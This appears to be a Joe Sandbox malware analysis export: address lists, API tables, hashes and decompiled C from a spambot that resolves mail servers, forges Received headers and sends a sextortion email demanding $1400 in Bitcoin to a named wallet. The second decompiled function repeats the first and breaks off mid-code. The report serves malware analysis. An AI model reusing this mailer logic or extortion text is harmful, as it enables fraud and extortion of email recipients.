0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x00000000
0x002e1c27
0x002e1c37
0x002e1c3d
0x002e1c40
0x002e1c46
0x002e1c4d
0x002e1c58
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x00000000
0x002e1c83
0x002e1c87
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x00000000
0x002e1cab
0x002e1cc9
0x002e1ccf
0x002e1cdd
0x002e1cea
0x002e1cf2
0x002e1cfb
0x002e1d0a
0x002e1d11
0x002e1d16
0x002e1d17
0x002e1d1c
0x002e1d1c
0x002e1d22
0x002e1d27
0x002e1d28
0x002e1d2d
0x002e1d2d
0x002e1d33
0x002e1d38
0x002e1d39
0x002e1d3e
0x002e1d3e
0x002e1d44
0x002e1d49
0x002e1d4a
0x002e1d4f
0x002e1d6c
0x002e1d73
0x002e1d79
0x002e1d7c
0x002e1d82
0x002e1d90
0x002e1d94
0x002e1d9e
0x002e1dac
0x002e1dc5
0x002e1dce
0x002e1ddc
0x002e1de3
0x002e1de9
0x002e1dec
0x002e1df9
0x002e1e00
0x002e1e04
0x002e1e0e
0x002e1e25
0x002e1e2c
0x002e1e32
0x002e1e35
0x002e1e3b
0x002e1e49
0x002e1e57
0x002e1e65
0x002e1e75
0x002e1e7b
0x002e1e7e
0x002e1e84
0x002e1e8b
0x002e1ea0
0x002e1eb8
0x002e1ebf
0x002e1ec5
0x002e1ec8
0x002e1ece
0x002e1edc
0x002e1eea
0x002e1ef8
0x002e1f0b
0x002e1f11
0x002e1f14
0x002e1f1a
0x002e1f21
0x002e1f36
0x002e1f44
0x002e1f4b
0x002e1f66
0x002e1f74
0x002e1f7b
0x002e1f81
0x002e1f84
0x002e1f8a
0x002e1f98
0x002e1fa6
0x002e1fbb
0x002e1fc9
0x002e1fec
0x002e2008
0x002e2015
0x002e2030
0x002e2044
0x002e2051
0x002e2080
0x002e208d
0x002e20bc
0x002e20c9
0x002e20e1
0x002e20ef
0x002e2104
0x002e211f
0x002e2133
0x002e2140
0x002e216f
0x002e217c
0x002e21ab
0x002e21b8
0x002e21d0
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x00000000
0x002e21f9
0x002e21fd
0x002e2205
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e221a
0x00000000
0x002e221a
0x002e1a62

APIs

Part of subcall function 002E2260: strchr.MSVCR90 ref: 002E226B

Part of subcall function 002E10A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 002E10C4
Part of subcall function 002E10A0: htons.WS2_32(00000019), ref: 002E10F5
Part of subcall function 002E10A0: DnsFree.DNSAPI(00000000,00000001), ref: 002E110F

socket.WS2_32(00000002,00000001,00000006), ref: 002E1A32
connect.WS2_32(000000FF,?,00000010), ref: 002E1A59
setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 002E1A83
shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
String ID:
API String ID: 3655475579-0
Opcode ID: f150ec4f22e3ee7ccbe5284ed1270bfe67c67501980443ebcca4e87f813f5233
Instruction ID: 8e1e294bca2b325097aad312df8fba28e83b0bc695bed2a71732c1cffa8aea03
Opcode Fuzzy Hash: f150ec4f22e3ee7ccbe5284ed1270bfe67c67501980443ebcca4e87f813f5233
Instruction Fuzzy Hash: A4419F71D90259DBDF10DFA5DC89BEDB778BB04304F4041A8EA1A6B2C0E7745AA9CF50

Uniqueness

Uniqueness Score: -1.00%

Function 002E1C27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E1C27(void* __eflags) {
				void* _t167;
				intOrPtr _t171;
				void* _t172;
				void* _t197;
				void* _t199;
				void* _t201;
				void* _t203;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t197 - 0x49c)) = wsprintfA(_t197 - 0x490, "RCPT TO: <%s>\r\n",  *((intOrPtr*)(_t197 + 8)));
					_t167 = E002E1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *((intOrPtr*)(_t197 - 0x49c))); // executed
					_t201 = _t199 + 0x18;
					if(_t167 != 0) {
						 *(_t197 - 0x20) = 5;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t171 = E002E1160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t203 = _t201 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t171;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t172 = E002E11C0(_t197 - 0x490);
							_t201 = _t203 + 4;
							if(_t172 != 0) {
								L7:
								 *(_t197 - 0x718) =  *(_t197 - 0x20);
								 *(_t197 - 0x718) =  *(_t197 - 0x718) - 1;
								if( *(_t197 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x718) * 4 +  &M002E223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t197 - 0x490) == 0) {
											_t176 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t176;
										} else {
											_t179 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t179;
										}
										_t178 = E002E1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t201 = _t204 + 0xc;
										if(_t178 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										goto L0;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E002E1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E002E1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E002E1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E002E1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E002E1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E002E1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E002E1320(__ecx, 6, __ecx) = E002E1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E002E1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E002E1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c))); // executed
					return  *(_t197 - 8);
				}
			}

0x002e1c27
0x002e1c27
0x002e1c27
0x002e1c40
0x002e1c58
0x002e1c5d
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x002e220c
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad0
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af6
0x002e1af9
0x002e1b08
0x002e1b15
0x00000000
0x00000000
0x002e1b1b
0x002e1b21
0x00000000
0x002e1b28
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1bb6
0x002e1bb6
0x002e1bbf
0x002e1bc6
0x002e1bcc
0x002e1bdb
0x002e1be2
0x002e1be8
0x002e1beb
0x002e1bf1
0x002e1bff
0x002e1c03
0x002e1c0d
0x002e1c1b
0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1c7c
0x002e1c83
0x002e1c87
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x00000000
0x002e1cab
0x002e1cab
0x002e1cc9
0x002e1ccf
0x002e1cdd
0x002e1cea
0x002e1cf2
0x002e1cfb
0x002e1d0a
0x002e1d11
0x002e1d16
0x002e1d17
0x002e1d1c
0x002e1d1c
0x002e1d22
0x002e1d27
0x002e1d28
0x002e1d2d
0x002e1d2d
0x002e1d33
0x002e1d38
0x002e1d39
0x002e1d3e
0x002e1d3e
0x002e1d44
0x002e1d49
0x002e1d4a
0x002e1d4f
0x002e1d6c
0x002e1d73
0x002e1d79
0x002e1d7c
0x002e1d82
0x002e1d90
0x002e1d94
0x002e1d9e
0x002e1dac
0x002e1dc5
0x002e1dce
0x002e1ddc
0x002e1de3
0x002e1de9
0x002e1dec
0x002e1df9
0x002e1e00
0x002e1e04
0x002e1e0e
0x002e1e25
0x002e1e2c
0x002e1e32
0x002e1e35
0x002e1e3b
0x002e1e49
0x002e1e57
0x002e1e65
0x002e1e75
0x002e1e7b
0x002e1e7e
0x002e1e84
0x002e1e8b
0x002e1ea0
0x002e1eb8
0x002e1ebf
0x002e1ec5
0x002e1ec8
0x002e1ece
0x002e1edc
0x002e1eea
0x002e1ef8
0x002e1f0b
0x002e1f11
0x002e1f14
0x002e1f1a
0x002e1f21
0x002e1f36
0x002e1f44
0x002e1f4b
0x002e1f66
0x002e1f74
0x002e1f7b
0x002e1f81
0x002e1f84
0x002e1f8a
0x002e1f98
0x002e1fa6
0x002e1fbb
0x002e1fc9
0x002e1fec
0x002e2008
0x002e2015
0x002e2030
0x002e2044
0x002e2051
0x002e2080
0x002e208d
0x002e20bc
0x002e20c9
0x002e20e1
0x002e20ef
0x002e2104
0x002e211f
0x002e2133
0x002e2140
0x002e216f
0x002e217c
0x002e21ab
0x002e21b8
0x002e21d0
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x00000000
0x002e21f2
0x002e21f9
0x002e21fd
0x002e2205
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e2211
0x002e221a
0x002e2223
0x002e222d
0x002e2239
0x002e2239

APIs

wsprintfA.USER32 ref: 002E1C37

Part of subcall function 002E1120: lstrlenA.KERNEL32(?), ref: 002E112D
Part of subcall function 002E1120: send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

RCPT TO: <%s>, xrefs: 002E1C2B

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: closesocketlstrlensendshutdownwsprintf
String ID: RCPT TO: <%s>
API String ID: 1492768164-1854338671
Opcode ID: edde2d14aa9fdafd5831fdd8a3209c50c1d097f0a5b978ebcaf1b9149af9f990
Instruction ID: b99d0dd4687bd09e7ed11359494a9b1d2f5a995ef68b39990fda853288af0fba
Opcode Fuzzy Hash: edde2d14aa9fdafd5831fdd8a3209c50c1d097f0a5b978ebcaf1b9149af9f990
Instruction Fuzzy Hash: C31142B1DA0258DFCF10DF95DC89BEEB778BB48304F4441A9EA0A66240D77449A4CF64

Uniqueness

Uniqueness Score: -1.00%

Function 002E1C7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E1C7C(void* __eflags) {
				void* _t166;
				intOrPtr _t170;
				void* _t171;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					_t166 = E002E1120( *((intOrPtr*)(_t192 - 0x1c)), "DATA\r\n", 0xffffffff); // executed
					_t195 = _t194 + 0xc;
					if(_t166 != 0) {
						 *(_t192 - 0x20) = 6;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t170 = E002E1160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t170;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t171 = E002E11C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t171 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M002E223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t175 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t175;
										} else {
											_t178 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t178;
										}
										_t177 = E002E1120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t177 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										goto L0;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E002E1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E002E1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E002E1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E002E1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E002E1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E002E1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E002E1320(__ecx, 6, __ecx) = E002E1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E002E1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E002E1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
